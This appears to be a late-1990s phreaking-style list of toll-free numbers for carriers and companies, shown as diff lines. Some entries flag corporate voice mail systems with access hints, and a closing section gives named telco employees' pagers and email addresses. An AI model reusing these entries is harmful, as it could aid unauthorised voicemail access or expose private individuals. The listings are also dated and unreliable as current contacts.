+1-800-483-3600 GTE North Customer Billing Center.
+1-800-483-4000 GTE California Customer Service Ordering Center.
+1-800-483-4839 GTE Business Response Center.
+1-800-483-5000 GTE California Business Sales Center.
+1-800-483-5288 GTE Headquarters in Irving, TX.
+1-800-483-5400 GTE Business Sales Center.
+1-800-483-5559 GTE.
+1-800-483-5781 GTE Wireless.
+1-800-483-7243 (1-800-GTE-PAGE) GTE Paging.
+1-800-483-7479 GTE Hawaiian Tel's Business Sales Center.
+1-800-483-8494 GTE Long Distance.
+1-800-527-2558 GTE Business Response Center.
+1-800-643-0997 GTE Bank Card Center.
+1-800-670-9320 GTE Paging.
+1-800-727-2355 GTE Wireless.
+1-800-787-9689 GTE Customer Service.
+1-800-877-5665 GTE Express. (Cellular)
+1-800-888-8448 GTE Directory Order Center.
+1-800-927-3000 GTE Internet.
+1-800-AIRFONE GTE Airfone.
+1-888-483-0022 GTE Government Systems.
+
+
+-------------------------------------------------------------------------------
+ MCI WorldCom:
+-------------------------------------------------------------------------------
+
+1-800-225-5888 MCI WorldCom Operator Services.
+1-800-254-8991 MCI WorldCom Customer Service. (U.S. only)
+1-800-264-1000 MCI WorldCom Customer Service.
+1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls.
+1-800-267-7320 Network MCI
+1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN")
+1-800-275-0200 MCI WorldCom Residential/Business Customer Service.
+1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls.
+1-800-333-1000 MCI WorldCom Commercial Customer Service.
+1-800-333-2000 MCI WorldCom.
+1-800-333-5000 MCI WorldCom Residential Service.
+1-800-336-0149 MCI WorldCom Global Product Support.
+1-800-432-4557 MCI WorldCom Account Services. (U.S. only)
+1-800-444-1111 MCI WorldCom's Global Technical Service Center.
+1-800-444-3333 MCI Customer Service. (U.S. only)
+1-800-444-4444 MCI WorldCom.
+1-800-444-6242 MCI.
+1-800-444-6245 MCI Mail Messaging and Technical Support.
+1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office.
+1-800-455-1605 Network MCI System.
+1-800-455-2957 Network MCI System.
+1-800-455-4215 Network MCI System.
+1-800-455-5469 Network MCI System.
+1-800-455-6084 Network MCI Interactive Paging Service.
+1-800-455-6504 Network MCI System.
+1-800-455-6513 Network MCI System.
+1-800-455-6780 Network MCI System.
+1-800-455-6834 Network MCI System.
+1-800-455-7806 Network MCI System.
+1-800-455-7854 Network MCI System.
+1-800-455-7920 Network MCI System.
+1-800-456-0253 MCI WorldCom.
+1-800-475-0138 MCI WorldCom.
+1-800-475-5628 MCI WorldCom Paging System.
+1-800-475-9321 MCI WorldCom.
+1-800-483-4929 Network MCI System.
+1-800-483-8784 Network MCI System.
+1-800-539-2000 MCI WorldCom Business Services.
+1-800-554-5778 MCI WorldCom Prepaid Cellular.
+1-800-555-4668 Network MCI System.
+1-800-627-2355 MCI WorldCom Administrative Offices.
+1-800-637-2255 MCI WorldCom.
+1-800-644-NEWS MCI WorldCom Public Relations.
+1-800-645-2355 MCI WorldCom.
+1-800-666-1904 MCI WorldCom. (U.S. only)
+1-800-666-2613 MCI WorldCom.
+1-800-674-2355 MCI WorldCom (calling card calls)
+1-800-688-4889 MCI National Relay Service in the U.S. (TTY)
+1-800-701-9358 MCI WorldCom. (U.S. only)
+1-800-701-9360 MCI WorldCom. (U.S. only)
+1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System.
+1-800-727-5555 MCI Small Business Accounts. (U.S. only)
+1-800-749-0800 MCI WorldCom.
+1-800-827-4690 MCI WorldCom Paging System.
+1-800-827-4750 MCI WorldCom Paging System.
+1-800-827-9987 MCI WorldCom Corporate Accounts.
+1-800-848-4480 MCI WorldCom Network Assistance. (modem)
+1-800-864-4060 MCI WorldCom Wholesale Services.
+1-800-872-7654 MCI WorldCom's EDI Group.
+1-800-876-8581 Network MCI.
+1-800-877-8000 MCI.
+1-800-877-9320 Network MCI.
+1-800-888-8000 MCI WorldCom automated calling card calls.
+1-800-909-3175 MCI WorldCom Pre-paid Card System
+1-800-909-3180 MCI WorldCom Pre-paid Card System
+1-800-909-3197 MCI. (Spanish)
+1-800-944-0700 MCI WorldCom Wireless.
+1-800-947-8642 MCI National Relay Service in the U.S. (voice)
+1-800-950-1022 MCI WorldCom Customer Service.
+1-800-999-7700 MCI WorldCom.
+1-800-COLLECT MCI WorldCom automated collect calls.
+1-800-EVERYDAY MCI WorldCom.
+1-800-SUNDAYS MCI WorldCom.
+1-800-WORLDCOM WorldCom.
+1-888-575-2355 MCI WorldCom.
+1-888-624-2355 MCI WorldCom.
+1-888-655-2355 Network MCI Contact.
+1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System.
+
+
+-------------------------------------------------------------------------------
+ MT&T:
+-------------------------------------------------------------------------------
+
+1-800-422-5978 MT&T Mobility.
+1-800-461-5533 MT&T Billing, Accounts and Repairs.
+1-800-561-6364 MT&T Data Services.
+1-800-565-1881 MT&T Business Customer Service Centre.
+1-800-565-4003 MT&T.
+1-800-565-4800 MT&T.
+1-800-565-5065 MT&T Residence Telemarketing.
+1-800-565-7102 MT&T.
+1-800-626-5552 MT&T Data Communications Sales and Repairs.
+
+
+-------------------------------------------------------------------------------
+ Nortel:
+-------------------------------------------------------------------------------
+
+1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom)
+1-800-684-2255 Nortel's Meridian Home Office Support/Info.
+1-800-833-7477 Nortel Networks.
+1-800-668-1717 Nortel's Global Customer Service.
+
+
+-------------------------------------------------------------------------------
+ Pacific Bell:
+-------------------------------------------------------------------------------
+
+1-800-241-3000 Pacific Bell Quickservice. (U.S. Only)
+1-800-248-2800 Pacific Bell Smart Yellow Pages.
+1-800-286-8111 Pacific Bell Spanish Yellow Pages.
+1-800-310-BELL Pacific Bell. (U.S. Only)
+1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only)
+1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only)
+1-800-528-0000 Pacific Bell Business Products. (U.S. Only)
+1-800-750-2355 Pacific Bell Customer Service. (U.S. Only)
+1-800-782-8353 Pacific Bell (to report any payphone crimes)
+1-800-848-8000 Pacific Bell Directory Smart Resource Center.
+1-800-848-8000 Pacific Bell Directory Smart Resource. (U.S. only)
+1-800-933-2355 Fulfillment plus. (Pacific Bell authorized agent)
+1-800-953-4400 Pacific Bell Phone Book Recycling. (California Only)
+1-888-755-2355 Pacific Bell Equipment.
+1-888-775-2355 Pacific Bell Equipment.
+
+
+-------------------------------------------------------------------------------
+ Qwest:
+-------------------------------------------------------------------------------
+
+1-800-256-1410 Qwest Communications News Bureau.
+1-800-460-1111 Qwest Customer Service.
+1-800-460-2222 Qwest.
+1-800-460-3333 Qwest.
+1-800-524-5249 Qwest Communications Customer Service.
+1-800-567-7296 Qwest Communications Investor Relations.
+1-800-600-9196 Qwest Communications VMS.
+1-800-860-2255 Qwest Communications.
+1-800-899-7780 Qwest Communications.
+1-800-968-1287 Qwest Communications.
+1-800-968-3986 Qwest Communications.
+1-877-877-7978 Qwest Shareholder Communication Service.
+1-888-793-7811 Qwest Communications Career Line. (Job Listings)
+
+
+-------------------------------------------------------------------------------
+ Southwestern Bell:
+-------------------------------------------------------------------------------
+
+1-800-225-5792 SBC Wireless National Services.
+1-800-441-1267 Southwestern Bell Yellow Pages.
+1-800-443-6200 Southwestern Bell Yellow Pages.
+1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator.
+1-800-479-2977 Southwestern Bell Yellow Pages.
+1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services.
+1-800-528-2355 Southwestern Bell Yellow Pages Business Office.
+1-800-600-2355 Southwestern Bell.
+1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source.
+1-800-909-3285 Southwestern Bell Wireless.
+1-888-455-2355 Southwestern Bell Long Distance.
+1-915-683-9145 Southwestern Bell Employee Locator (Automated)
+
+
+-------------------------------------------------------------------------------
+ Sprint:
+-------------------------------------------------------------------------------
+
+1-800-227-9892 Sprint.
+1-800-256-8340 Sprint Canada.
+1-800-277-7468 Sprint Phone Card and Collect calls.
+1-800-308-MOST Sprint Canada.
+1-800-322-3090 Sprint BusinessFlex.
+1-800-336-MOST Sprint Canada.
+1-800-348-MOST Sprint Canada.
+1-800-349-MOST Sprint Canada.
+1-800-359-2255 Sprint Voice Phone Card.
+1-800-361-9342 Sprint Canada Customer Service. (French)
+1-800-366-0707 Sprint Pre-Paid Card Customer Service.
+1-800-366-2255 Sprint automated LD calling (U.S. and Canada)
+1-800-370-MOST Sprint Canada.
+1-800-455-4602 Sprint PCS.
+1-800-456-9711 Sprint Canada Customer Service.
+1-800-459-MOST Sprint Canada.
+1-800-465-3193 Sprint Canada Customer Service. (English)
+1-800-467-7746 Sprint.
+1-800-469-MOST Sprint Canada.
+1-800-475-7110 Sprint Canada.
+1-800-480-4727 (1-800-480-4PCS) Sprint PCS.
+1-800-483-MOST Sprint Canada.
+1-800-485-4493 Sprint Canada. (Fax)
+1-800-496-MOST Sprint Canada.
+1-800-505-MOST Sprint Canada.
+1-800-506-8268 Sprint Canada.
+1-800-515-6678 (1-800-515-MOST) Sprint Canada.
+1-800-516-MOST Sprint Canada.
+1-800-522-9320 Sprint Canada.
+1-800-540-4516 Sprint Canada.
+1-800-546-2500 Sprint's online directory of SprintNet local access numbers.
+1-800-546-6000 SprintNet's In-WATS Service.
+1-800-548-8120 Sprint Canada.
+1-800-555-2800 Sprint (Spanish)
+1-800-570-2255 Sprint Business Service Center.
+1-800-571-6678 (1-800-571-MOST) Sprint Canada.
+1-800-575-2255 Sprint Canada's Business Sales Office in Halifax.
+1-800-581-MOST Sprint Canada.
+1-800-593-6678 Sprint Long Distance.
+1-800-597-1195 Sprint Canada.
+1-800-597-9765 Sprint Canada.
+1-800-605-MOST Sprint Canada.
+1-800-613-7797 Sprint Canada Customer Service.
+1-800-631-MOST Sprint Canada.
+1-800-653-MOST Sprint Canada.
+1-800-666-6999 Sprint Canada.
+1-800-674-7000 Sprint.
+1-800-680-6678 (1-800-680-MOST) Sprint Canada.
+1-800-681-MOST Sprint Canada.
+1-800-714-MOST Sprint Canada.
+1-800-736-1130 SprintNet data network products and services.
+1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only)
+1-800-749-MOST Sprint Canada.
+1-800-777-4681 (1-800-SPRINT-1) Sprint Paging.
+1-800-777-4683 (1-800-SPRINT-3) Sprint Selections.
+1-800-801-6678 (1-800-801-MOST) Sprint Canada.
+1-800-810-MOST Sprint Canada.
+1-800-827-2200 Sprint Business.
+1-800-827-3700 Sprint Long Distance.
+1-800-827-4680 Sprint Business.
+1-800-827-4685 Sprint's Global One Customer Service Center.
+1-800-827-4700 Sprint Long Distance.
+1-800-827-4800 Sprint Business Sales Office.
+1-800-827-9080 Sprint.
+1-800-830-MOST Sprint Canada.
+1-800-841-MOST Sprint Canada.
+1-800-843-6678 (1-800-THE-MOST) Sprint Canada.
+1-800-873-9350 Sprint Canada.
+1-800-874-5069 Sprint Canada.
+1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily)
+1-800-877-4646 Sprint Account/Rewards/Calling Card customer services.
+1-800-877-5045 Sprint Service Management Center.
+1-800-877-8000 Sprint Operator assisted calls.
+1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY)
+1-800-980-5464 Sprint Canada Residential Customer Service/Sales. (English)
+1-800-980-8595 Sprint Canada Customer Service. (French)
+1-800-980-8595 Sprint Canada Residential Customer Service/Sales. (French)
+1-800-994-6678 (1-800-994-MOST) Sprint Canada.
+1-800-FON-CARD Sprint's automated calling.
+1-877-4-NIGHTS Sprint Nickel Nights.
+1-877-4-WEEKENDS Sprint Weekends.
+1-877-4-YOURPLAN Sprint BusinessFlex.
+1-877-591-EASY Sprint Canada Easy Unlimited.
+1-877-592-EASY Sprint Canada Easy Unlimited.
+1-877-597-EASY Sprint Canada Easy Unlimited.
+1-877-598-EASY Sprint Canada Easy Unlimited.
+1-877-5CONTACT Sprint.
+1-877-602-EASY Sprint Canada Easy Unlimited.
+1-877-931-EASY Sprint Canada Easy Unlimited.
+1-877-935-EASY Sprint Canada Easy Unlimited.
+1-877-939-EASY Sprint Canada Easy Unlimited.
+1-877-940-EASY Sprint Canada Easy Unlimited.
+1-877-943-EASY Sprint Canada Easy Unlimited.
+1-877-945-EASY Sprint Canada Easy Unlimited.
+1-877-950-EASY Sprint Canada Easy Unlimited.
+1-877-953-EASY Sprint Canada Easy Unlimited.
+1-877-955-EASY Sprint Canada Easy Unlimited.
+1-888-254-0701 Sprint Canada's "The Most" Online.
+1-888-254-2927 Sprint Canada.
+1-888-276-2179 Sprint PCS.
+1-888-369-DATA Sprint.
+1-888-371-3279 Sprint Canada.
+1-888-456-EASY Sprint Canada.
+1-888-490-3279 (1-888-490-EASY) Sprint Canada's "The Most" Online.
+1-888-510-3279 Sprint Canada.
+1-888-512-3279 Sprint Canada.
+1-888-579-3279 Sprint Canada.
+1-888-581-3279 Sprint Canada.
+1-888-657-3279 Sprint Canada.
+1-888-660-3279 Sprint Canada.
+1-888-670-3279 Sprint Canada.
+1-888-675-3279 Sprint Canada.
+1-888-685-3279 Sprint Canada's "The Most" Online.
+1-888-689-3279 Sprint Canada's "The Most" Online.
+1-888-690-3279 Sprint Canada's "The Most" Online.
+1-888-710-3279 Sprint Canada's "The Most" Online.
+1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line.
+1-888-790-3279 Sprint Canada.
+1-888-890-2384 Sprint Canada (French)
+1-888-IN-TOUCH Sprint "Stay in touch" Services.
+
+
+-------------------------------------------------------------------------------
+ US West:
+-------------------------------------------------------------------------------
+
+(303) 896-7683 US West (Denver), automated job line.
+1-800-227-2209 Enterprise US West Employee Help Line.
+1-800-238-7848 US West "Air Touch" Cellular.
+1-800-244-1111 US West Communications.
+1-800-338-0018 US West Direct Yellow Pages.
+1-800-422-8793 US West Directory Source.
+1-800-455-8706 US West Repair Center for AT&T.
+1-800-4US-WEST US West Card Services.
+1-800-626-6611 US West "Air Touch" Cellular Customer Service.
+1-800-856-3376 US West Dispatch. (U.S. only)
+1-800-879-4357 US West Employee Locator.
+1-800-883-6171 US West Completions and Translations. (U.S. only)
+
+
+-------------------------------------------------------------------------------
+ Miscellaneous Telcos, LD Carriers, Voice Mail Systems and Companies:
+-------------------------------------------------------------------------------
+
+(303) 499-7111 Atomic Clock in Colorado.
+(905) 946-9953 Payphone in a Markham, ON coffee shop (accepts incoming calls)
+(937) 445-4357 NCR HQ. (option 2)
+1-800-200-0068 Call Interactive. (listen to male and female voices)
+1-800-221-2255 American Airlines VMS.
+1-800-221-4009 London Telcom.
+1-800-222-5161 IBM Program Headquarters.
+1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back)
+1-800-222-TIPS Crime Stoppers.
+1-800-225-2255 ATN Communications. Collect, calling & credit card calls.
+1-800-225-4288 ATN Communications. (collect, credit, calling card)
+1-800-225-5101 Cable Guide Hotline.
+1-800-225-5128 NOS automated collect, credit and calling card calls.
+1-800-225-5152 Nationwide Messaging.
+1-800-225-5228 ATN Communications. (collect, credit, calling card)
+1-800-225-5233 NOS automated collect, credit and calling card calls.
+1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support.
+1-800-225-5265 1-800-COLLECT.
+1-800-225-5268 ATN Communications. (collect, credit, calling card)
+1-800-225-5373 3M Electronic Products Information.
+1-800-225-5385 Compaq Computer Corporation.
+1-800-225-5438 IDT Long Distance/Internet Services.
+1-800-225-5455 Johnson and Johnson VMS.
+1-800-225-5463 Directory Assistance (800-CALL-INFO)
+1-800-225-5607 NOS automated collect, credit and calling card calls.
+1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support.
+1-800-225-5664 NEC.
+1-800-225-5854 Meridian Mail VMB.
+1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!)
+1-800-227-3663 (1-800-CAR-FONE) Ericsson.
+1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line.
+1-800-233-3382 Novell Education Programs.
+1-800-235-1414 National Telewire Message Centre.
+1-800-235-4008 Information America's Client Support.
+1-800-242-0080 Compaq Corporation.
+1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.)
+1-800-255-3700 Nintendo.
+1-800-260-DELL DELL.
+1-800-263-0656 NCR.
+1-800-263-1121 Canon.
+1-800-263-1136 Statistics Canada.
+1-800-263-2244 Sanyo On-Site.
+1-800-263-2777 IBM Software Replication Services.
+1-800-263-3394 Apple Canada.
+1-800-264-2255 InComNet National Telephone and Communications.
+1-800-265-0977 NCR.
+1-800-265-MUCH MuchMusic. (Much On Demand)
+1-800-267-2772 Sitel Canada.
+1-800-267-5251 Compaq Canada Services.
+1-800-267-9010 Message Center Dispatch.
+1-800-268-1221 Hewlett-Packard Canada Ltd.
+1-800-268-3997 NEC.
+1-800-284-2255 ATN Communications. (collect, credit, calling card)
+1-800-288-2880 OCI Communications.
+1-800-289-3355 (1-800-BUY-DELL) DELL Canada.
+1-800-294-0020 US Tel. (phone repairs and sales)
+1-800-296-7160 DELL Canada.
+1-800-300-2355 NOS. (calling card, collect calls, etc.)
+1-800-320-3488 Motorola Radio Network Services in San Diego, CA.
+1-800-321-4044 Intel Overdrive/Microprocessor Support Line.
+1-800-324-1234 CTI Long Distance Customer Service.
+1-800-331-9922 General Motors Shareholder's Services.
+1-800-332-2717 Intel Technical Support.
+1-800-332-4636 Compaq Computer Corporation.
+1-800-333-9967 Communication Options.
+1-800-334-2255 GE Information Services Center.
+1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ.
+1-800-336-5236 Texas Instruments.
+1-800-336-6000 Audix VMB.
+1-800-339-6181 Toshiba.
+1-800-343-7363 American Telegram (24 Hour Worldwide Telegram Service)
+1-800-344-4825 Compaq Canada.
+1-800-345-3444 AlternaCall Customer Information Line.
+1-800-346-6873 (1-800-34-MOUSER) Mouser Electronics (order crystals)
+1-800-354-9000 Compaq Customer Services.
+1-800-355-6245 ATX Telecommunication Services. (Answering Machine)
+1-800-359-9556 Samsung Telecommunications.
+1-800-360-2255 Century 21 Realty VMS.
+1-800-361-1319 Motorola Canada.
+1-800-363-3811 Belcom Communications.
+1-800-367-2346 Motorola Telecommunications Administration.
+1-800-381-7707 Rogers Cantel Service Barrie.
+1-800-387-0005 Primus Canada.
+1-800-387-2837 Dominion Telephone Systems Ltd.
+1-800-387-4172 The Canadian Telephone Company Inc.
+1-800-387-4268 Lucent Technologies.
+1-800-387-4636 Nestle Canada.
+1-800-387-5645 Toshiba.
+1-800-387-8240 NCR.
+1-800-387-8300 NCR Help Desk and Call Management Center.
+1-800-387-9000 Jetco Companies. (press "4" - InTouch Canada Cell Phone Rentals)
+1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline)
+1-800-395-4656 ITC Telecom Dispatch Service.
+1-800-4-LUCENT Lucent Technologies.
+1-800-4-ONLINE America Online order line.
+1-800-405-6543 American Mobile Customer Accounts Support Center.
+1-800-418-6245 Blockbusters VMS.
+1-800-421-7944 NCR Benefits Service Center.
+1-800-424-6262 ITT Voice Mail. (Meridian Mail)
+1-800-425-1111 Pepsi Cola Atlantic Customer Service.
+1-800-426-2255 (IBM-CALL) IBM Customer Support.
+1-800-426-4682 IBM Performance Management and Capacity Planning Services.
+1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support.
+1-800-426-4968 IBM Customer Service.
+1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information.
+1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota.
+1-800-433-9996 Micro$oft TechHead '99 Registration Headquarters.
+1-800-439-2204 Brewer's Retail Help Desk.
+1-800-444-9000 Telecom USA.
+1-800-446-6744 Motorola Supplier/Customer Training Services.
+1-800-448-2244 (1-800-HITACHI) Hitachi.
+1-800-452-9996 Statistics Canada.
+1-800-453-0920 Motorola IDEN Customer Services.
+1-800-455-2948 SkyWard Message Center.
+1-800-455-4890 Pager that plays a South Park Song for the greeting.
+1-800-455-5958 ITC Telecom.
+1-800-456-3333 SkyTel National Sales Center.
+1-800-457-1235 Lucent Technologies BCS Publications Center.
+1-800-457-6245 CSI CompuServe Technical Support. (Requires UserId #)
+1-800-461-4575 Motorola Cellular Customer Service.
+1-800-461-5161 NCR Canada Emergency Parts Order Desk.
+1-800-462-9791 M Telecom Internet Business Services.
+1-800-465-1176 Meridian Mail VMB.
+1-800-465-7999 IBM Direct.
+1-800-467-2355 CenturyTel.
+1-800-468-1714 Hershey Canada.
+1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service.
+1-800-472-5451 Hershey Canada Inc.
+1-800-475-3107 Joanne Wilson from IBM Global Services Pager.
+1-800-477-9692 ATN Information and Customer Service.
+1-800-483-1170 3Com's Customer Service after hours VMB.
+1-800-483-1288 IBM Work Group Services.
+1-800-483-4444 FirsTel Advanced Communications Customer Service Center.
+1-800-483-5463 800 Ideas.com Incorporated.
+1-800-483-6681 StarTech telco.
+1-800-501-1150 Hershey Canada Inc. (French)
+1-800-501-6245 Database America's answering machine.
+1-800-509-1800 Novell's Customer Response Center.
+1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#)
+1-800-524-3388 CompuServe.
+1-800-525-5288 ATN Communications.
+1-800-536-3273 Frontier Customer Service.
+1-800-539-6275 (1-800-LEXMARK) Lexmark Canada.
+1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books,
+ Glossary of Terms, Acronyms and Jargon)
+1-800-544-4660 Plantronics Telephone Headsets.
+1-800-555-1212 Toll Free Directory Assistance/Info.
+1-800-555-1313 SkyTel VMB.
+1-800-555-1560 Audix VMB.
+1-800-555-2052 Gateway 2000 International Department.
+1-800-555-2091 Gateway 2000 International Department.
+1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc.
+1-800-555-3012 Gateway Direct Line.
+1-800-555-4000 "Mike's" SkyTel Direct Dial VMB. Press "*" to access.
+1-800-555-6620 Meridian Mail VMB.
+1-800-555-7665 TelAmerica.
+1-800-557-6245 Saloman Smith Barney VMS.
+1-800-563-9048 Micro$oft Canada Sales and Information Centre.
+1-800-565-2237 Acer America Corporation.
+1-800-565-6317 Cadbury.
+1-800-567-1616 Compaq Canada.
+1-800-5678-HMV HMV Music Store.
+1-800-569-DELL DELL.
+1-800-576-2255 Frontier Communications Customer Service.
+1-800-580-5585 WesTel Incorporated Customer Service.
+1-800-588-1111 ActionTel.
+1-800-588-2222 ActionTel Customer Service.
+1-800-594-3000 Call-Home America.
+1-800-595-8480 Rogers@Home.
+1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services.
+1-800-627-5609 Conquest Customer Service.
+1-800-628-2888 Lucent Technologies National Customer Care Center.
+1-800-628-8686 Intel Customer Service.
+1-800-628-9526 Compaq Support Line.
+1-800-633-2255 NOS automated collect, credit and calling card calls.
+1-800-638-5298 Global Telecom.
+1-800-638-9273 Novell Customer Support.
+1-800-638-9636 Genie Online Service.
+1-800-639-8359 (1-800-NEXTEL-9)
+1-800-647-2355 MinIowa PC Partner. 1-877-727-3375 Internet number.
+1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support.
+1-800-658-5199 AccessData Corporation. (data recovery)
+1-800-661-1886 Palco Telecom Inc.
+1-800-661-7274 SeaChange (Internet Services)
+1-800-663-7780 NCR Invoicing Department.
+1-800-665-2775 Apple Canada Dealer Locator Line.
+1-800-667-3601 Frontier SpeedLink.
+1-800-667-7656 Accord Communications Inc.
+1-800-668-3979 Bestobell Canada Ltd (Toronto)
+1-800-669-1800 Burger King's VMB. (4 digit BNs)
+1-800-672-3888 National Rifle Association Hotline.
+1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm.
+1-800-724-3780 Seiger Electronics.
+1-800-725-5288 ATN Communications.
+1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line.
+1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support.
+1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.)
+1-800-749-8000 Nextel International.
+1-800-777-2255 Phone Works VMS.
+1-800-777-3278 Fujitsu Network Communications Inc.
+1-800-777-4343 Digital Equipment Corp.
+1-800-783-2020 Frontier Communications Customer Service.
+1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems)
+1-800-788-8588 Working Assets Long Distance.
+1-800-800-8800 Target Directory.
+1-800-822-2000 Lucent Technologies.
+1-800-825-2255 Metro-Call Customer Service. (pager service)
+1-800-827-0035 America Online.
+1-800-827-1200 American Directory Service Corporation. (order telephone books)
+1-800-827-1225 IBM/NCR Retail Vendor Support Line.
+1-800-828-3362 Novell Authorization Department.
+1-800-829-1011 Network Management Center.
+1-800-835-7788 US Telecom International.
+1-800-842-2255 American Express VMS (Audix)
+1-800-842-2737 Texas Instruments.
+1-800-846-2301 Gateway Technical Support Line.
+1-800-847-4096 DELL Canada's Service and Support Hot Line.
+1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.)
+1-800-848-8199 CompuServe.
+1-800-848-8990 CompuServe.
+1-800-858-1810 Cypress Semiconductor.
+1-800-858-4000 Novell Technical Support.
+1-800-879-3782 NOS (automated collect, credit, calling card calls)
+1-800-879-7660 Iomega's Instant Access Help System.
+1-800-888-4848 Subway's VMS.
+1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3")
+1-800-892-3351 National Rifle Association (Join the NRA Now!)
+1-800-900-DELL DELL.
+1-800-909-3250 Meridian Mail VMB.
+1-800-909-3436 Simtel Inc. Independent Payphone Service for New York/New Jersey
+1-800-909-4672 National Rifle Association (NRA)
+1-800-909-4945 Computer 411.
+1-800-909-5008 LCC Network Services.
+1-800-909-5109 Automated Transmitter System.
+1-800-921-DELL DELL.
+1-800-925-1111 TONE. Long Distance.
+1-800-925-2289 US Tel Customer Service.
+1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory.
+1-800-938-2255 Pilgrim Telephone. (Intimate Connections)
+1-800-942-6227 Mostly Mac Inc.
+1-800-949-6245 Phone Mail VMB.
+1-800-951-2355 Cantel Communications.
+1-800-954-6245 OcTel VMB.
+1-800-999-2222 Pilgrim Telephone.
+1-800-999-DELL DELL Canada.
+1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-NCR Pilgrim Telephone.
+1-800-HI-ITS-ME AlternaCall Collect Calls.
+1-800-MOLSON-1 Molson Canada.
+1-800-OK-CANON Canon Canada.
+1-800-ONTARIO Travelinx Ontario. (Tourism Information)
+1-800-SKY-8888 SkyTel System Access.
+1-800-SKY-FAXE SkyFax (SkyTel Faxing)
+1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging)
+1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging)
+1-800-SKY-TALK SkyTalk (SkyTel Voice Mail)
+1-800-SKYTEL5 SkyTel.
+1-877-240-1267 Cantel Centre De Communication Tech.
+1-877-326-2826 NCR Bell Help Desk.
+1-877-393285465 (1-877-EXECULINK) ExecuLink Internet Services.
+1-877-396-1122 WinTel Communications. (owned by PRIMUS Canada)
+1-877-396-3939 Union Telecom.
+1-877-4-LUCENT Lucent Technologies.
+1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services.
+1-877-724-2647 Security loser.
+1-877-742-7722 Sharp Canada Customer Care Center.
+1-877-875-2762 Pioneer Help Line.
+1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline.
+1-877-ROGERS-1 Rogers Corporation.
+1-888-25-GREAT Cleveland hotline.
+1-888-256-5678 NCR AlertLine.
+1-888-257-8826 Cantel Centre de Communication.
+1-888-349-6972 Micron Electronics Technical Support.
+1-888-4-LUCENT Lucent Technologies Canada.
+1-888-478-2730 I-Star Internet Incorporated.
+1-888-504-2355 "Tony Bell" from Remax.
+1-888-536-2355 "This is Ken Bell." (Voice)
+1-888-582-3686 (1-888-LUCENT6) Lucent Technologies Shareholder Services.
+1-888-582-3688 Lucent Technologies.
+1-888-622-3289 Fastekk Systems.
+1-888-673-8925 Micro$oft's Y2K Disclosure Line.
+1-888-692-1122 CompuServe.
+1-888-715-2355 Call Home America Ultimate 800.
+1-888-736-8567 Motorola.
+1-888-751-8088 Guinness World Records.
+1-888-825-2355 Connect America.
+1-888-839-9295 IBM Haliburton Service Desk.
+1-888-871-5111 Hewlett-Packard Computer Supplies.
+1-888-DELL-PCS DELL Canada.
+1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only)
+1-888-ROGERS-1 Rogers Cable.
+1-888-ROGERS-2 Rogers Connection.
+1-888-STAR-602 Star Choice Customer Service.
+1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch.
+1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number.
+
+
+-------------------------------------------------------------------------------
+ Telco Employees (Answering Machines and Pagers):
+-------------------------------------------------------------------------------
+
+(416) 377-3724 Mike Turner's Pager (works for Bell)
+(416) 379-2117 Dave Twiner's Pager (works for Bell)
+(416) 581-3311 irene.shimoda@bell.ca
+(514) 786-3655 shirley.bishop@bell.ca
+1-800-407-2355 John with Southwestern Bell Wireless.
+1-800-455-6813 Jack Hogan of MCI WorldCom's Pager.
+1-800-465-9625 Bell Canada Media Relations (Shirley Bishop)
+1-800-493-2603 Kimberly Smith at Qwest Communications.
+1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine)
+1-800-661-0480 Debbie Southerland of Bell ActiMedia.
